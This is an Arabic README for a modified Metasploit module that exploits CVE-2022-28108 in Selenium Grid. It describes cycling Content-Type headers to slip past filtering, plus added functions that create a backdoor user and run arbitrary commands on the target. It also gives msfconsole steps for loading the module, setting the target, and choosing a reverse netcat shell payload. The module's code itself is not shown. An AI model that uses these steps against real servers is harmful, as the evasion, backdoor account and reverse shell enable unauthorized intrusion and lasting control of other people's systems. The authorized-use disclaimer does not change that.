CVE-2022-28108

التعديلات والتحسينات في هذه النسخة:

يحتوي هذا المستودع على نسخة معدلة من وحدة Metasploit الأصلية. تشمل التعديلات الرئيسية ما يلي:

• تجاوز نوع المحتوى (Content-Type): تحاول الوحدة المعدلة استغلال الثغرة عن طريق إرسال الطلب الضار مع عدة رؤوس Content-Type مختلفة. يتضمن ذلك text/plain و application/x-www-form-urlencoded و multipart/form-data. يتم ذلك لتجاوز آليات التصفية أو الكشف الأساسية التي قد تبحث عن Content-Type محدد.
• وظيفة execute_post_exploitation: تمت إضافة وظيفة جديدة execute_post_exploitation(session_response). يتم استدعاء هذه الوظيفة بعد الاستغلال الناجح وتهدف إلى تنفيذ مهام ما بعد الاستغلال الأساسية. في التنفيذ الحالي، تتضمن:
  • محاولة إضافة مستخدم باب خلفي للنظام.
  • جمع معلومات أساسية عن النظام (اسم المستخدم، المعرف، إصدار النواة).
• وظيفة execute_command_on_target: تمت إضافة وظيفة جديدة أخرى execute_command_on_target(command). تسمح هذه الوظيفة بتنفيذ أوامر تعسفية على النظام المستهدف بعد استغلال ناجح. يتم استخدامها داخل وظيفة execute_post_exploitation ويمكن توسيعها لمزيد من أنشطة ما بعد الاستغلال.

أبرز الاختلافات المسلط عليها:

يكمن الاختلاف الأساسي في طريقة exploit وإضافة الوظيفتين الجديدتين.

• طريقة exploit الأصلية: ركزت على إرسال طلب واحد مع Content-Type: text/plain.
• طريقة exploit المعدلة: تتنقل بين قيم Content-Type المختلفة، محاولة الاستغلال مع كل منها. عند الاستغلال الناجح، تستدعي وظيفة execute_post_exploitation.
• الوظائف الجديدة: تمثل وظيفتا execute_post_exploitation و execute_command_on_target إضافات جديدة تمامًا لهذه النسخة المعدلة، مما يوفر قدرات موسعة لما بعد الاستغلال.

كيفية استخدام الوحدة المعدلة:

1. تأكد من تثبيت إطار عمل Metasploit.
2. احفظ الكود المعدل: احفظ كود Ruby المقدم كملف .rb (على سبيل المثال، selenium_rce_extended.rb).
3. ضع الوحدة في دليل وحدات Metasploit: انسخ الملف المحفوظ إلى دليل وحدات Metasploit المناسب. يوجد هذا عادةً في /usr/share/metasploit-framework/modules/exploits/ أو ~/.msf4/modules/exploits/. راجع تثبيت Metasploit الخاص بك للحصول على الموقع المحدد.
4. ابدأ وحدة تحكم Metasploit: افتح طرفية وشغّل msfconsole.
5. قم بتحميل الوحدة: في وحدة تحكم Metasploit، استخدم الأمر use exploit/selenium_rce_extended (أو المسار الذي حفظت فيه الملف إذا وضعته في دليل فرعي).
6. قم بتكوين الهدف: قم بتعيين عنوان IP ومنفذ خادم Selenium الضعيف:
   root@kitploit:~

   msf6 exploit(selenium_rce_extended) > set RHOSTS <target_ip>
   msf6 exploit(selenium_rce_extended) > set RPORT <target_port>
   

   (المنفذ الافتراضي لـ Selenium Grid هو غالبًا 4444).
7. قم بتعيين الحمولة (Payload): اختر حمولة لتنفيذها على النظام الهدف. على سبيل المثال، للحصول على شل عكسي:
   root@kitploit:~

   msf6 exploit(selenium_rce_extended) > set PAYLOAD cmd/unix/reverse_netcat
   msf6 exploit(selenium_rce_extended) > set LHOST <your_ip>
   msf6 exploit(selenium_rce_extended) > set LPORT <your_port>
   

8. شغّل الاستغلال: نفّذ الوحدة باستخدام الأمر exploit.

اعتبارات مهمة (إخلاء مسؤولية):

• استخدم هذا الكود بمسؤولية وأخلاقية. تم توفير هذه الوحدة للأغراض التعليمية ولمحترفي الأمن لاختبار وتقييم أمان أنظمتهم.
• تأكد من حصولك على إذن صريح لاختبار النظام المستهدف. الاستخدام غير المصرح به لهذا الكود غير قانوني وغير أخلاقي.
• افهم المخاطر التي تنطوي عليها. يمكن أن يكون لاستغلال الثغرات عواقب غير مقصودة وقد يزعزع استقرار الأنظمة المستهدفة.
• اختبر في بيئات معزولة وخاضعة للسيطرة. قم دائمًا بإجراء الاختبار في بيئات لديك فيها سيطرة كاملة ويمكنك التخفيف من أي ضرر محتمل.
• وظائف ما بعد الاستغلال هي أمثلة أساسية. قد تحتاج إلى تعديلها أو توسيعها بناءً على احتياجاتك الخاصة والبيئة المستهدفة.

إخلاء المسؤولية القانونية:

المؤلف (المؤلفون) لهذا الكود المعدل غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن استخدام هذه الوحدة. باستخدام هذا الكود، فإنك توافق على تحمل المسؤولية الكاملة عن أفعالك.

الترخيص:

من المحتمل أن يكون هذا الكود المعدل مشمولاً بنفس ترخيص إطار عمل Metasploit الأصلي (عادةً ترخيص MSF). يرجى الرجوع إلى ترخيص إطار عمل Metasploit الأصلي للحصول على التفاصيل.

المساهمة:

نرحب بالمساهمات والتحسينات على هذه الوحدة. لا تتردد في تقديم طلبات سحب (Pull Requests) مع إصلاحات للأخطاء أو تحسينات أو ميزات جديدة.

الإقرارات:

نكرر شكرنا للمؤلفين الأصليين لوحدة Metasploit الخاصة بـ CVE-2022-28108. عملهم هو أساس هذه الوحدة المعدلة.